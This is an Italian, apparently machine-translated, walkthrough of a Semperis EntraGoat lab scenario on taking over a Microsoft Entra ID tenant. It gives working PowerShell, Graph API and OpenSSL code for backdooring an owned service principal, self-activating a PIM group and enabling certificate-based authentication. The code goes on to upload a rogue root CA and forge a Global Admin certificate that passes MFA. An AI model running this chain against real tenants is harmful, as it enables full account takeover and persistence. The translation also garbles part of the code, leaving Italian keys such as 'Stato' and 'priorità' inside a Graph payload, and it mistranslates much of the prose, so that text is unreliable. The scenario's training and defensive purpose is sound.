Jonathan Elkabas e Tomer Nahum

Nota dell'editore

Questo scenario fa parte di una serie di esempi che dimostrano l'uso di EntraGoatil nostro ambiente di simulazione Entra ID. Una panoramica di EntraGoat e del suo valore è disponibile qui.


Autorità di bypass del certificato-Accesso root concesso

Lo Scenario 6 di EntraGoat illustra una tecnica di escalation dei privilegi in Microsoft Entra ID, in cui il giocatore inizia con credenziali a basso livello di privilegio e ottiene l'accesso come amministratore globale concatenando principi di servizio mal configurati, ruoli di app troppo permissivi e funzionalità di autenticazione basata su certificati (CBA) legittime.

Utilizzando le credenziali trapelate da un service principal legacy, l'aggressore passa all'identità di proprietà, abusa delle autorizzazioni privilegiate per modificare le impostazioni a livello di tenant, abilita la CBA tramite un utente idoneo alla gestione delle identità privilegiate (PIM) per i gruppi e carica un'autorità di certificazione radice non autorizzata. In questo modo si ottiene l'impersonificazione senza password e conforme a MFA di un amministratore globale, consentendo l'acquisizione e la persistenza completa del tenant.


Panoramica del percorso di attacco

  1. Storia del punto d'appoggio iniziale: L'attaccante ottiene le credenziali client codificate per un servizio di automazione legacy incorporato in un vecchio repository PowerShell.
  2. Pivot attraverso la proprietà: Il service principal legacy risulta essere proprietario di un altro service principal. Utilizzando Application.ReadWrite.OwnedByl'aggressore effettua il backdoor del secondo servizio principale aggiungendovi un segreto e dei pivot.
  3. Abuso della configurazione dell'inquilino: Il secondo servizio principale ha Organization.ReadWrite.All permesso. Pur non essendo in grado di gestire utenti o ruoli, questa autorizzazione consente di modificare le configurazioni dell'intero inquilino, comprese le impostazioni di autenticazione.
  4. Abilitazione dell'autenticazione basata su certificati (CBA) tramite assegnazione PIM basata su gruppi: Un utente a cui l'attaccante ha accesso risulta essere PIM-eleggibile per un gruppo che detiene il Authentication Policy Administrator ruolo. Dopo aver attivato la membership, l'attaccante abilita il CBA nel tenant.
  5. Stabilire la fiducia con una root certificate authority (CA) dannosa: L'aggressore genera e carica sul tenant una CA radice illecita, rendendola di fatto un fornitore di identità fidato.
  6. Impersonificazione dell'amministratore globale: Infine, l'aggressore crea un certificato client per un account Global Admin, lo firma con la root CA dannosa e utilizza CBA per l'autenticazione, ottenendo un'autenticazione senza password e conforme a MFA.

Flusso di attacco

La Figura 1 mostra il flusso di questo attacco.

Figura 1. Flusso dello scenario d'attacco Certificate Bypass Authority-Root Access Granted

Perché i team di sicurezza devono comprendere le configurazioni errate di Entra ID

Questa catena di attacchi sfrutta sia le comuni configurazioni errate che gli schemi di progettazione fondamentali di Entra ID, spesso incompresi o trascurati negli ambienti reali.

  • Il debito di automazione legacy è reale. I service principal creati per l'automazione possono rimanere non gestiti dopo la distribuzione. Nel corso del tempo, questo può portare a permessi e proprietà eccessivi su altri service principals, creando catene di privilegi nascosti. Inoltre, una gestione inadeguata dei segreti, come le credenziali codificate negli script, spesso rimangono in vigore una volta che "tutto funziona", dando luogo a percorsi di accesso duraturi e non monitorati.
  • La proprietà del service principal garantisce i diritti di gestione delle credenziali. Molte organizzazioni non verificano le catene di proprietà del service principal o non ne comprendono le implicazioni.
  • Le autorizzazioni non esistono in modo isolato. L'attacco si basa su una combinazione di autorizzazioni che sembrano di portata limitata se considerate singolarmente. Tuttavia, se combinate tra loro, consentono di modificare la configurazione che permette di impersonare identità privilegiate attraverso meccanismi di autenticazione legittimi:
    • Application.ReadWrite.OwnedBy consente di gestire i presidi di servizio posseduti da un'applicazione chiamante.
    • Organization.ReadWrite.All concede la possibilità di modificare le impostazioni di configurazione dell'intera organizzazione.
    • Authentication Policy Administrator (o Policy.ReadWrite.AuthenticationMethod) abilita e configura il CBA.
  • Infine, l'ACB supera il confine di fiducia del tenant. Una volta configurata, la CA esterna diventa un emittente di identità valido per qualsiasi utente del tenant.

NOTA: Il background teorico sul modello applicativo di Entra ID e sull'autenticazione basata su certificati per i flussi di accesso degli utenti interattivi e di asserzione dei client OAuth è stato trattato nello Scenario 2 del blog. Si consiglia di leggerlo prima per avere un contesto adeguato.


Come rilevare e difendere dallo sfruttamento dell'autenticazione basata su certificati

Configurazioni errate come quelle sfruttate in questo scenario sono spesso trascurate, ma possono portare alla completa compromissione di un tenant Entra ID. Per aiutare le organizzazioni a identificare i percorsi di attacco prima che possano essere sfruttati, le soluzioni Semperis forniscono indicatori di esposizione (IOE) e indicatori di compromissione (IOC) per rilevare e avvisare su impostazioni predefinite e configurazioni errate pericolose, compreso un indicatore per la persistenza dell'autenticazione basata su certificati e controlli aggiuntivi che valutano la postura di sicurezza degli ambienti Entra ID.


Approfondimento dello scenario: Soluzione descritta passo dopo passo

Vediamo i passaggi necessari per creare un certificato root rogue authority in grado di sbloccare l'intero tenant Entra ID.


Fase 1: punto d'appoggio iniziale con credenziali principali del servizio codificate in modo rigido

Iniziamo con un segreto trapelato "trovato" in un repository PowerShell legacy appartenente a uno script di automazione obsoleto, come mostra la Figura 2 .

Figura 2. Un segreto trapelato avvia la configurazione dello scenario

Utilizzando queste credenziali, ci si autentica come mandante del servizio, come mostra la Figura 3 .

Figura 3. Autenticazione come mandante del servizio obsoleto

La convalida conferma il successo dell'autenticazione per Legacy-Automation-Service. Controlliamo i permessi assegnati all'identità e spicca un permesso chiave (Figura 4).

Figura 4. Il Application.ReadWrite.OwnedBy assegnato all'identità dell'applicazione

Il Application.ReadWrite.OwnedBy concede all'applicazione chiamante la possibilità di eseguire le stesse operazioni di Application.ReadWrite.All da gestire (read/update/delete), ma solo sugli oggetti applicativi per i quali il chiamante è esplicitamente elencato come proprietario. Ciò consente di realizzare scenari di automazione a stretto raggio senza esporre un'ampia gestione delle applicazioni a livello di directory.

Come dimostrato in Scenario 1la proprietà di un service principal consente la gestione delle credenziali, compresa l'aggiunta di segreti del cliente. Per esplorare i potenziali obiettivi, enumeriamo tutti i service principal del tenant e verifichiamo quali sono di proprietà dell'identità attualmente autenticata(Figura 5).

Figura 5. Enumerazione dei presidi di servizio nel tenant Entra ID

Trovato il titolare del servizio principale: DataSync-Production.

Curiosità: è impossibile impostare un service principal come proprietario di un altro service principal tramite l'interfaccia utente del portale Azure o il centro di amministrazione Entra, anche se la proprietà è visibile(Figura 6). Sono consentite solo le identità degli utenti.

Figura 6. Visualizzazione della proprietà del service principal in Entra admin center

Abbiamo configurato la proprietà del servizio principale nello script di impostazione, chiamando direttamente l'API Graph, che supporta questa operazione:

      $OwnerParams = @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$($LegacySP.Id)"
}
New-MgServicePrincipalOwnerByRef -ServicePrincipalId $DataSyncSP.Id -BodyParameter $OwnerParams

Fase 2: valutazione dell'obiettivo del pivot

Ora dobbiamo verificare se il service principal che possediamo è un percorso di escalation dei privilegi praticabile. Possiamo riutilizzare il semplice metodo Get-ServicePrincipalRoles da Scenario 1 per enumerare le assegnazioni di ruolo alla directory:

      function Get-ServicePrincipalRoles {
    param([object]$ServicePrincipal)
    Write-Host "Checking roles for: $($ServicePrincipal.DisplayName)"
    $roleAssignments = Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '$($ServicePrincipal.Id)'" -ErrorAction SilentlyContinue
    $roles = @()
    
    if ($roleAssignments) {
        foreach ($assignment in $roleAssignments) {
            $roleDefinition = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $assignment.RoleDefinitionId
            $roles += $roleDefinition
            Write-Host "   Role: $($roleDefinition.DisplayName)" -ForegroundColor Green
        }
    } else {
        Write-Host "   No directory roles assigned"
    }
    return $roles
}

Come mostra la Figura 7 , non sono stati assegnati ruoli di directory.

Figura 7. Enumerazione iniziale che non restituisce ruoli di directory

Ma, come ormai sappiamo, i ruoli di directory non sono l'unico vettore con i presidi di servizio. Che dire dei ruoli delle app(Figura 8)?

Figura 8. Enumerazione dei ruoli delle app

Come in altri scenari, Directory.Read.All è stato probabilmente concesso solo per semplificare la fase di enumerazione. Ancora più interessante, il committente del servizio ha anche il Organization.ReadWrite.All ruolo dell'applicazione. Questa autorizzazione è spesso trascurata, ma ha capacità di grande impatto. Sebbene non garantisca il controllo su utenti, gruppi o ruoli, consente di modificare le impostazioni a livello di tenant, come il branding aziendale e i criteri di autenticazione. Infatti, come dimostrato nell'eccellente blog di ricerca di SpecterOps Persistenza senza password ed escalation dei privilegi in Azure1, Questa autorizzazione è sufficiente per aggiungere una nuova CA radice al tenant Entra ID.che può firmare certificati utente contraffatti per l'accesso basato su certificati.

Il passo successivo consiste nell'aggiungere un segreto del cliente al mandante del servizio:

      $secretDescription = "Totalmente-Legit-EntraGoat-Secret-$(Get-Date -Format 'yyyyMMdd-HHmmss')"
$passwordCredential = @{
    DisplayName = $secretDescription
    EndDateTime = (Get-Date).AddYears(1)
}

$newSecret = Add-MgServicePrincipalPassword -ServicePrincipalId $dataSyncSP.Id -PasswordCredential $passwordCredential
$dataSyncSecret = $newSecret.SecretText # salva per dopo

Passo 3: passaggio al mandante del servizio DataSync-Production

Anche se ora abbiamo la possibilità di caricare un'autorità di certificazione radice "fidata", siamo bloccati dall'utilizzarla per l'impersonificazione perché non possiamo abilitare il CBA (Figura 9), che richiede l'uso del metodo Policy.ReadWrite.AuthenticationMethod permesso o il Authentication Policy Administrator nessuno dei due è assegnato al ruolo di DataSync-Production principale del servizio.

Figura 9. L'ACB è vietata

Dopo aver esaurito le opzioni di enumerazione sotto l'identità di questo SP, siamo in un vicolo cieco. Nessuna abilitazione CBA.

Ma ATTENZIONE: Abbiamo esaminato ciò che il nostro utente compromesso, terence.mckennaha accesso a?


Fase 4: Spostare l'attenzione sul contesto dell'utente

Terence fa parte di qualche gruppo(Figura 10)?

Figura 10. Esplorazione delle possibili appartenenze al gruppo di Terence

Nulla oltre al gruppo di inquilini predefinito.

C'è qualche gruppo di proprietà(Figura 11)?

Figura 11. Esplorazione della possibile proprietà del gruppo di Terence

Nessuno. Ci sono committenti di servizi di proprietà(Figura 12)?

Figura 12. Nessun committente di servizi di proprietà di Terence

Ancora niente. Qualche PIM idoneo per le assegnazioni di gruppo(Figura 13)?

Figura 13. Finalmente l'idoneità del gruppo per Terence

Sì! Terence è eleggibile per il Authentication Policy Managers gruppo.

Verifichiamo quali sono i ruoli del Authentication Policy Managers è assegnato il gruppo (Figura 14).

Figura 14. Controllo dei ruoli per il Authentication Policy Managers gruppo

Si tratta di ruoli altamente privilegiati.

  • Application Administrator consente il controllo completo di tutte le applicazioni del tenant, compresa la possibilità di aggiungere segreti o certificati a qualsiasi service principal. (Abbiamo intenzionalmente incluso questo ruolo per supportare più percorsi di attacco di diversa complessità).
  • Authentication Policy Administratore, cosa fondamentale, ci concede la possibilità di abilitare la CBA, l'esatto controllo che ci mancava per avanzare con la catena di attacco.

NOTA: poiché questo è (attualmente) l'ultimo scenario della serie EntraGoat, abbiamo intenzionalmente incluso alcuni di questi passaggi di enumerazione senza uscita per illustrare il processo di pensiero dietro la scoperta dei privilegi. L'esplorazione sistematica dei principali servizi e delle identità degli utenti è fondamentale per identificare percorsi di escalation praticabili in Entra ID.


Passo 5: Attivazione dell'assegnazione PIM

Ora che abbiamo identificato l'idoneità per la Authentication Policy Managers possiamo autoattivare l'assegnazione del PIM utilizzando l'API Graph:

      $activationBody = @{
    accessId = "member"
    principalId = $currentUser.Id
    groupId = $authGroup.Id
    action = "selfActivate"
    scheduleInfo = @{
        startDateTime = (Get-Date).ToUniversalTime().ToString("o")
        expiration = @{
            type = "afterDuration"
            duration = "PT8H"
        }
    }
    justification = "Need to configure authentication policies for support tickets"
} 

Invoke-MgGraphRequest -Method POST `
    -Uri "https://graph.microsoft.com/beta/identityGovernance/privilegedAccess/group/assignmentScheduleRequests" `
    -Body $activationBody -ContentType "application/json"

Dopo un breve ritardo di propagazione, è possibile ricontrollare l'appartenenza al gruppo per confermare lo stato attivo(Figura 15).

Figura 15. Conferma dell'appartenenza attiva al gruppo

Passo 6: Abilitazione dell'autenticazione basata su certificati

Con l'appartenenza al gruppo attiva, si può attivare il CBA a livello di inquilino. Innanzitutto, si interroga l'oggetto di configurazione CBA corrente(Figura 16).

Figura 16. È un bel nome di funzione

Quindi, si abilita CBA utilizzando il seguente payload per la configurazione aggiornata:

      $updateParams = @{
    Stato = "abilitato"
    "@odata.type" = "#microsoft.graph.x509CertificateAuthenticationMethodConfiguration"
    certificateUserBindings = @(
        @{
            x509CertificateField = "PrincipalName"
            userProperty = "userPrincipalName"
            priorità = 1
        }
    )
    authenticationModeConfiguration = @{
        x509CertificateAuthenticationDefaultMode = "x509CertificateSingleFactor"
        regole = @()
    }
}
   
Update-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration `
    -AuthenticationMethodConfigurationId "X509Certificate" -BodyParameter $updateParams

Verifichiamo che il CBA è ora abilitato(Figura 17).

Figura 17. CBA abilitato

NOTA: questa modifica può essere applicata anche in modo interattivo attraverso l'admin center della Entra:

  • Accedere a https://entra.microsoft.com utilizzando l'account di Terence
  • Navigare fino a: Entra ID → Metodi di autenticazione → Criteri → Autenticazione basata su certificati
  • Commutazione dello stato su Enable, come mostra la Figura 18 .
Figura 18. CBA abilitato tramite Entra admin center

A seconda della politica del locatario, l'impostazione MFA può essere richiesta a Terence al primo accesso.


Fase 7: Caricamento dell'autorità di certificazione root dannosa

Ora che l'ACB è abilitata, torniamo alla DataSync-Production e autenticarsi usando il segreto del cliente aggiunto in precedenza per aggiungere una CA radice alle CA fidate del tenant.

      Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $dsCred

NOTA: La creazione, la configurazione e il caricamento di una CA radice e di un certificato client in Entra ID tramite CLI è un processo a più fasi con diversi punti di errore. Entra ID impone un formato specifico per il campo UPN nell'estensione SAN che PowerShell fatica a generare con l'OID richiesto. Per evitare questi inconvenienti, utilizziamo OpenSSL per generare sia la CA radice che il certificato client.

Si inizia impostando la struttura della CA con il seguente script:

      $opensslBinary = "C:\Program Files\OpenSSL-Win64\bin\openssl.exe"

$adminUPN = (Get-MgUser -Filter "startswith(userPrincipalName,'EntraGoat-admin-s6')").UserPrincipalName

# Setup CA directory structure
$caWorkspace = "$env:TEMP\EntraGoat-CA"
if (Test-Path $caWorkspace) {
    Set-Location $env:TEMP
    Remove-Item $caWorkspace -Recurse -Force
}
@("$caWorkspace", "$caWorkspace\ca", "$caWorkspace\ca\issued") | ForEach-Object {
    New-Item -Path $_ -ItemType Directory -Force | Out-Null
}

# Initialize database (as OpenSSL requires specific format)
New-Item -Path "$caWorkspace\ca\index.db" -ItemType File -Force | Out-Null
"01" | Out-File "$caWorkspace\ca\serial" -Encoding ASCII -NoNewline

# Root Certificate Authority configuration
$caConfig = @"
[ ca ]
default_ca = entragoat_ca

[ entragoat_ca ]
dir = ./ca
certs = `$dir
new_certs_dir = `$dir/issued
database = `$dir/index.db
serial = `$dir/serial
RANDFILE = `$dir/.rand
certificate = `$dir/entragoat-root.cer
private_key = `$dir/entragoat-root.key
default_days = 730
default_crl_days = 30
default_md = sha256
preserve = no
policy = trust_no_one_policy

[ trust_no_one_policy ]
countryName = optional
stateOrProvinceName = optional
localityName = optional
organizationName = optional
organizationalUnitName = optional
commonName = optional
emailAddress = optional

[req]
x509_extensions = user_cert
req_extensions = v3_req

[ user_cert ]
subjectAltName = @alt_names

[ v3_req ]
subjectAltName = @alt_names

[alt_names]
otherName=1.3.6.1.4.1.311.20.2.3;UTF8:$adminUPN
"@

# Client certificate configuration with SAN extension
$clientConfig = @"
[req]
x509_extensions = user_cert
req_extensions = v3_req

[ user_cert ]
subjectAltName = @alt_names

[ v3_req ]
subjectAltName = @alt_names

[alt_names]
otherName=1.3.6.1.4.1.311.20.2.3;UTF8:$adminUPN
"@

# output configuration to files
$caConfig | Out-File "$caWorkspace\ca.conf" -Encoding ASCII
$clientConfig | Out-File "$caWorkspace\client.conf" -Encoding ASCII

Set-Location $caWorkspace

# Generate root CA private key
& $opensslBinary genrsa -out ca\entragoat-root.key 4096

# Create root certificate for entra trust
& $opensslBinary req -new -x509 -days 3650 -key ca\entragoat-root.key -out ca\entragoat-root.cer -subj "/CN=EntraGoat Evil Root CA/O=EntraGoat Security/C=US"

Write-Output "Root CA certificate path: $caWorkspace\ca\entragoat-root.cer" # upload this to the tenant

Dopo la preparazione dell'infrastruttura CA malevola, i contenuti di $caWorkspace\ca\ dovrebbe assomigliare ai file che Figura 19 spettacoli.

Figura 19. Uscita verso $caWorkspace\ca\

Ora possiamo caricare il nostro certificato root personalizzato nell'elenco delle autorità di certificazione affidabili di Entra ID:

      # Load the root certificate
$rootCA = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new("$caWorkspace\ca\entragoat-root.cer")

$caAuthority = @{
    isRootAuthority = $true
    certificate = [System.Convert]::ToBase64String($rootCA.GetRawCertData())
}

# get existing CBA configuration
try {
    $existingConfigs = Invoke-MgGraphRequest -Method GET `
        -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration"
    
    if ($existingConfigs.value -and $existingConfigs.value.Count -gt 0) {
        # Update existing config
        $configId = $existingConfigs.value[0].id
        $existingCAs = $existingConfigs.value[0].certificateAuthorities
        
        # Add new CA to existing ones
        $updatedCAs = $existingCAs + @($caAuthority)
        
        $updateBody = @{
            certificateAuthorities = $updatedCAs
        } | ConvertTo-Json -Depth 3
        
        $response = Invoke-MgGraphRequest -Method PATCH `
            -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration/$configId" `
            -Body $updateBody `
            -ContentType "application/json"
    } else {
        throw "No existing configuration found"
    }
}
catch {
    # Create new CBA configuration
    $body = @{
        certificateAuthorities = @($caAuthority)
    } | ConvertTo-Json -Depth 3
    
    $response = Invoke-MgGraphRequest -Method POST `
        -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration" `
        -Body $body `
        -ContentType "application/json"
}

Verificare che il caricamento sia riuscito e che il certificato sia ora attendibile per il tenant:

      $configs = Invoke-MgGraphRequest -Method GET `
    -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration"

$uploadSuccess = $false
if ($configs.value -and $configs.value.Count -gt 0) {
    foreach ($ca in $configs.value[0].certificateAuthorities) {
        $certBytes = [Convert]::FromBase64String($ca.certificate)
        $cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($certBytes)
        
        if ($cert.Thumbprint -eq $rootCA.Thumbprint) {
            Write-Output "[+] Root CA successfully uploaded to tenant"
            Write-Output "    Thumbprint: $($cert.Thumbprint)"
            Write-Output "    Subject: $($cert.Subject)"
            $uploadSuccess = $true
            break
        }
    }
}

if (-not $uploadSuccess) {
    Write-Output "[-] Failed to verify root CA upload. Please check the configuration." 
}

Ottimo! La CA principale è stata caricata (Figura 20).

Figura 20. Conferma dell'avvenuto caricamento della CA principale

Con la CA rogue accettata e attendibile, possiamo ora emettere un certificato client per qualsiasi identità (compresa quella di EntraGoat-admin-s6 utente) e firmarli utilizzando la nostra nuova e assolutamente legittima CA principale:

      # Generare la chiave privata del certificato client e la richiesta di firma
& $opensslBinary req -new -sha256 -config client.conf -newkey rsa:4096 -nodes -keyout "$adminUPN.key" -out "$adminUPN.csr" -subj "/C=US/ST=Washingaot/L=EvilDistrict/O=EntraGoat/OU=Security/CN=$adminUPN"

# Firmare il certificato client con la CA principale
& $opensslBinary ca -batch -md sha256 -config ca.conf -extensions v3_req -out "$adminUPN.crt" -infiles "$adminUPN.csr"

# Convertire in formato PFX per l'installazione di Windows
& $opensslBinary pkcs12 -inkey "$adminUPN.key" -in "$adminUPN.crt" -export -out "$adminUPN.pfx" -password pass:EntraGoat123!

Passo 8: autenticazione senza password a GA

Per completare il percorso di escalation dei privilegi:

1. Installare l'apparecchio emesso .pfx certificato che si trova in $caWorkspace sulla macchina locale (Figura 21). La password di importazione è EntraGoat123!.

Figura 21. Installazione del .pfx certificato

2. Seguire le istruzioni della procedura guidata di importazione del certificato. Dopo l'installazione, verificare che il certificato sia visualizzato in certmgr.msc sotto Personale → Certificati, come Figura 22 spettacoli.

Figura 22. Conferma del nostro certificato root malvagio

3. Spostarsi su https://portal.azure.com o https://entra.microsoft.com/.
4. Immettere l'UPN per il EntraGoat-admin-s6 conto.
5. Quando viene richiesto, selezionare il certificato installato (Figura 23).

Figura 23. Selezione del certificato root malvagio

Passo 9: Risoluzione dei problemi di binding CBA e MFA

Se l'autenticazione fallisce con Certificato convalidato non riuscito, è probabile che sia dovuto a parametri del certificato non configurati correttamente o a errori di formattazione SAN/OID.

Tuttavia, se si raggiunge il prompt Rimani connesso? e si viene quindi reindirizzati a Scegliere un modo per accedere, ciò indica che:

  • Il certificato è valido
  • L'ACB è abilitato
  • Ma il criterio di autenticazione vincolante del tenant classifica i certificati come autenticazione a fattore singolo.
  • E le politiche di locazione richiedono l'autenticazione multifattoriale per l'accesso privilegiato.

In questo caso, il valore predefinito della modalità x509CertificateAuthenticationDefaultMode è impostato su fattore singolo x509CertificateSingleFactor e per questo motivo l'ACB non soddisfa da sola i requisiti dell'AMF (Figura 24) e non può essere utilizzato per accedere ad account privilegiati.

Figura 24. L'MFA è ancora richiesto

Per risolvere questo problema, un Authentication Policy Administrator può aggiornare la modalità di binding predefinita in x509CertificateMultiFactorconsentendo a CBA di soddisfare i requisiti dell'AMF (Figura 25).

Figura 25. Configurazione della conformità MFA

Possiamo impostare CBA con il contesto di sicurezza dell'utente Terence:

      # Get current config
$current = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate"

# Check current mode
$current.authenticationModeConfiguration.x509CertificateAuthenticationDefaultMode

# change to MultiFactor if needed
$params = @{
    "@odata.type" = "#microsoft.graph.x509CertificateAuthenticationMethodConfiguration"
    id = "X509Certificate"
    certificateUserBindings = $current.certificateUserBindings
    authenticationModeConfiguration = @{
        x509CertificateAuthenticationDefaultMode = "x509CertificateMultiFactor"
        x509CertificateDefaultRequiredAffinityLevel = "low"
        rules = @()
    }
    includeTargets = $current.includeTargets
    excludeTargets = $current.excludeTargets
    state = "enabled"
    issuerHintsConfiguration = $current.issuerHintsConfiguration
    crlValidationConfiguration = $current.crlValidationConfiguration
    certificateAuthorityScopes = @()
}

# Apply changes
Invoke-MgGraphRequest -Method PATCH -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate" -Body ($params | ConvertTo-Json -Depth 10)

# Verify change
$updated = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate"
$updated.authenticationModeConfiguration.x509CertificateAuthenticationDefaultMode

Alternativa (GUI): Si può configurare anche attraverso il portale di amministrazione Entra(Figura 26). Seguire questo percorso:

Entra ID → Metodi di autenticazione → Criteri → Autenticazione basata su certificati → Configura

In Legame di autenticazione, impostare Forza di autenticazione predefinita su Multifattore.

Figura 26. Configurazione della conformità MFA nel portale di amministrazione Entra

Con questo criterio in vigore, il certificato client contraffatto può ora essere utilizzato per accedere come EntraGoat-admin-s6, completamente senza password e conforme a MFA, completando la catena di attacco e concedendo all'amministratore globale l'accesso per recuperare il flag dall'interfaccia utente (Figura 27).

Figura 27. Bandiera catturata

Una volta completato lo scenario, si esegue lo script di pulizia per ripristinare il tenant allo stato originale.


Lezione appresa: Le configurazioni errate aprono vie di attacco

Questo scenario rivela come le configurazioni errate concatenate tra i principi del servizio, le assegnazioni dei ruoli delle app e le impostazioni di autenticazione possano essere utilizzate come arma per ottenere una compromissione completa del tenant Entra ID senza mai interagire con le password degli utenti.

Si inizia con le credenziali trapelate per un mandante di servizio legacy a basso livello di privilegio, che è comune nello sprawl dell'automazione, e si intensifica abusando delle autorizzazioni trascurate di Application.ReadWrite.OwnedBy e Organization.ReadWrite.All.

Facendo leva tra i presidi di servizio posseduti e attivando un'assegnazione di gruppo basata su PIM, l'attaccante abilita il CBA e carica una CA root dannosa nel tenant.

Infine, emettendo un certificato client contraffatto per l'account Global Admin, modificando la regola del criterio di autenticazione vincolante del tenant sui certificati per soddisfare i requisiti MFA e accedendo con esso tramite CBA, l'aggressore aggira le password e l'MFA.

Questo percorso di attacco espone lacune trascurate nei confini della fiducia e nell'architettura dell'identità, mostrando come l'identità sia diventata il nuovo perimetro, suscettibile di misconfigurazioni stratificate e catene di privilegi non volute.


Esplora tutte le sfide di EntraGoat


Nota finale

  1. https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f

Esclusione di responsabilità

Questo contenuto è fornito solo a scopo educativo e informativo. Il suo scopo è quello di promuovere la consapevolezza e la correzione responsabile delle vulnerabilità di sicurezza che possono esistere sui sistemi di cui si è proprietari o che si è autorizzati a testare. È severamente vietato l'uso non autorizzato di queste informazioni per scopi malevoli, sfruttamento o accesso illegale. Semperis non approva né condona alcuna attività illegale e declina ogni responsabilità derivante dall'uso improprio del materiale. Inoltre, Semperis non garantisce l'accuratezza o la completezza dei contenuti e non si assume alcuna responsabilità per eventuali danni derivanti dal loro utilizzo.